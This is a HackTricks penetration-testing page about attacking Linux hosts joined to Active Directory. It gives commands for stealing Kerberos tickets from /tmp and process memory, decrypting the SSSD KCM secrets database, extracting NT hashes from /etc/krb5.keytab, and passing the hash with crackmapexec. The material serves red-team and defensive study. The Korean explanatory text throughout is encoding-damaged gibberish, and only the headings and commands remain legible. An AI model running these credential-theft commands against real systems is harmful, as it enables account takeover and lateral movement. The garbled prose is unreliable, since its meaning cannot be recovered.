Linux Active Directory

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ฆฌ๋ˆ…์Šค ๋จธ์‹ ์€ Active Directory ํ™˜๊ฒฝ ๋‚ด์— ์กด์žฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

AD์˜ ๋ฆฌ๋ˆ…์Šค ๋จธ์‹ ์€ ํŒŒ์ผ ๋‚ด์— ๋‹ค์–‘ํ•œ CCACHE ํ‹ฐ์ผ“์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ‹ฐ์ผ“์€ ๋‹ค๋ฅธ kerberos ํ‹ฐ์ผ“์ฒ˜๋Ÿผ ์‚ฌ์šฉ๋˜๊ณ  ๋‚จ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ‹ฐ์ผ“์„ ์ฝ์œผ๋ ค๋ฉด ํ‹ฐ์ผ“์˜ ์‚ฌ์šฉ์ž ์†Œ์œ ์ž์ด๊ฑฐ๋‚˜ root์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Enumeration

๋ฆฌ๋ˆ…์Šค์—์„œ AD ์—ด๊ฑฐ

๋ฆฌ๋ˆ…์Šค(๋˜๋Š” Windows์˜ bash)์—์„œ AD์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด https://github.com/lefayjey/linWinPwn๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ AD๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฆฌ๋ˆ…์Šค์—์„œ AD๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

389, 636, 3268, 3269 - Pentesting LDAP

FreeIPA

FreeIPA๋Š” Microsoft Windows Active Directory์— ๋Œ€ํ•œ ์˜คํ”ˆ ์†Œ์Šค ๋Œ€์•ˆ์œผ๋กœ, ์ฃผ๋กœ Unix ํ™˜๊ฒฝ์„ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Active Directory์™€ ์œ ์‚ฌํ•œ ๊ด€๋ฆฌ ๊ธฐ๋Šฅ์„ ์œ„ํ•ด MIT Kerberos ํ‚ค ๋ฐฐํฌ ์„ผํ„ฐ์™€ ์™„์ „ํ•œ LDAP ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๊ฒฐํ•ฉํ•ฉ๋‹ˆ๋‹ค. CA ๋ฐ RA ์ธ์ฆ์„œ ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•œ Dogtag Certificate System์„ ํ™œ์šฉํ•˜๋ฉฐ, ์Šค๋งˆํŠธ์นด๋“œ๋ฅผ ํฌํ•จํ•œ ๋‹ค์ค‘ ์ธ์ฆ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. Unix ์ธ์ฆ ํ”„๋กœ์„ธ์Šค๋ฅผ ์œ„ํ•ด SSSD๊ฐ€ ํ†ตํ•ฉ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด๋ ค๋ฉด:

FreeIPA Pentesting

ํ‹ฐ์ผ“ ๋‹ค๋ฃจ๊ธฐ

Pass The Ticket

์ด ํŽ˜์ด์ง€์—์„œ๋Š” ๋ฆฌ๋ˆ…์Šค ํ˜ธ์ŠคํŠธ ๋‚ด์—์„œ kerberos ํ‹ฐ์ผ“์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ์žฅ์†Œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ๋Š” ์ด CCache ํ‹ฐ์ผ“ ํ˜•์‹์„ Kirbi(Windows์—์„œ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ํ˜•์‹)๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐฉ๋ฒ•๊ณผ PTT ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Pass the Ticket

/tmp์—์„œ CCACHE ํ‹ฐ์ผ“ ์žฌ์‚ฌ์šฉ

CCACHE ํŒŒ์ผ์€ Kerberos ์ž๊ฒฉ ์ฆ๋ช…์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ์ด์ง„ ํ˜•์‹์œผ๋กœ, ์ผ๋ฐ˜์ ์œผ๋กœ /tmp์— 600 ๊ถŒํ•œ์œผ๋กœ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ **์ด๋ฆ„ ํ˜•์‹ krb5cc_%{uid}**๋กœ ์‹๋ณ„๋˜๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž์˜ UID์™€ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ธ์ฆ ํ‹ฐ์ผ“ ๊ฒ€์ฆ์„ ์œ„ํ•ด **ํ™˜๊ฒฝ ๋ณ€์ˆ˜ KRB5CCNAME**์„ ์›ํ•˜๋Š” ํ‹ฐ์ผ“ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋กœ ์„ค์ •ํ•˜์—ฌ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

env | grep KRB5CCNAME์œผ๋กœ ์ธ์ฆ์— ์‚ฌ์šฉ๋˜๋Š” ํ˜„์žฌ ํ‹ฐ์ผ“์„ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค. ํ˜•์‹์€ ์ด์‹ ๊ฐ€๋Šฅํ•˜๋ฉฐ, export KRB5CCNAME=/tmp/ticket.ccache๋กœ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜์—ฌ ํ‹ฐ์ผ“์„ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Kerberos ํ‹ฐ์ผ“ ์ด๋ฆ„ ํ˜•์‹์€ krb5cc_%{uid}์ด๋ฉฐ, ์—ฌ๊ธฐ์„œ uid๋Š” ์‚ฌ์šฉ์ž UID์ž…๋‹ˆ๋‹ค.

# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000

# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000

CCACHE ํ‹ฐ์ผ“ ์žฌ์‚ฌ์šฉ from keyring

ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋œ Kerberos ํ‹ฐ์ผ“์€ ์ถ”์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ํŠนํžˆ ๋จธ์‹ ์˜ ptrace ๋ณดํ˜ธ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ (/proc/sys/kernel/yama/ptrace_scope). ์ด ๋ชฉ์ ์„ ์œ„ํ•œ ์œ ์šฉํ•œ ๋„๊ตฌ๋Š” https://github.com/TarlogicSecurity/tickey์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„ธ์…˜์— ์ฃผ์ž…ํ•˜๊ณ  ํ‹ฐ์ผ“์„ /tmp๋กœ ๋คํ”„ํ•˜์—ฌ ์ถ”์ถœ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ด ๋„๊ตฌ๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค:

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i

์ด ์ ˆ์ฐจ๋Š” ๋‹ค์–‘ํ•œ ์„ธ์…˜์— ์ฃผ์ž…์„ ์‹œ๋„ํ•˜๋ฉฐ, ์„ฑ๊ณต ์‹œ ์ถ”์ถœ๋œ ํ‹ฐ์ผ“์„ /tmp์— __krb_UID.ccache๋ผ๋Š” ๋ช…๋ช… ๊ทœ์น™์œผ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

SSSD KCM์˜ CCACHE ํ‹ฐ์ผ“ ์žฌ์‚ฌ์šฉ

SSSD๋Š” /var/lib/sss/secrets/secrets.ldb ๊ฒฝ๋กœ์— ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ณต์‚ฌ๋ณธ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ํ‚ค๋Š” /var/lib/sss/secrets/.secrets.mkey ๊ฒฝ๋กœ์— ์ˆจ๊ฒจ์ง„ ํŒŒ์ผ๋กœ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ, ํ‚ค๋Š” root ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

**SSSDKCMExtractor**๋ฅผ โ€“database ๋ฐ โ€“key ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ํ•จ๊ป˜ ํ˜ธ์ถœํ•˜๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ตฌ๋ฌธ ๋ถ„์„ํ•˜๊ณ  ๋น„๋ฐ€์„ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

์ž๊ฒฉ ์ฆ๋ช… ์บ์‹œ Kerberos blob์€ Mimikatz/Rubeus์— ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ Kerberos CCache ํŒŒ์ผ๋กœ ๋ณ€ํ™˜๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CCACHE ํ‹ฐ์ผ“ ์žฌ์‚ฌ์šฉ from keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

/etc/krb5.keytab์—์„œ ๊ณ„์ • ์ถ”์ถœ

๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์šด์˜๋˜๋Š” ์„œ๋น„์Šค์— ํ•„์ˆ˜์ ์ธ ์„œ๋น„์Šค ๊ณ„์ • ํ‚ค๋Š” /etc/krb5.keytab ํŒŒ์ผ์— ์•ˆ์ „ํ•˜๊ฒŒ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ์ด ํ‚ค๋Š” ์„œ๋น„์Šค์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ์œ ์‚ฌํ•˜๋ฉฐ, ์—„๊ฒฉํ•œ ๊ธฐ๋ฐ€์„ฑ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

keytab ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด **klist**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ์‚ฌ์šฉ์ž ์ธ์ฆ์„ ์œ„ํ•œ NT Hash๋ฅผ ํฌํ•จํ•œ ํ‚ค ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ํ‘œ์‹œํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ํ‚ค ์œ ํ˜•์ด 23์œผ๋กœ ์‹๋ณ„๋  ๋•Œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค.

klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

Linux ์‚ฌ์šฉ์ž์—๊ฒŒ **KeyTabExtract**๋Š” NTLM ํ•ด์‹œ ์žฌ์‚ฌ์šฉ์„ ์œ„ํ•ด ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” RC4 HMAC ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

macOS์—์„œ **bifrost**๋Š” keytab ํŒŒ์ผ ๋ถ„์„์„ ์œ„ํ•œ ๋„๊ตฌ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

./bifrost -action dump -source keytab -path /path/to/your/file

์ถ”์ถœ๋œ ๊ณ„์ • ๋ฐ ํ•ด์‹œ ์ •๋ณด๋ฅผ ํ™œ์šฉํ•˜์—ฌ **crackmapexec**์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ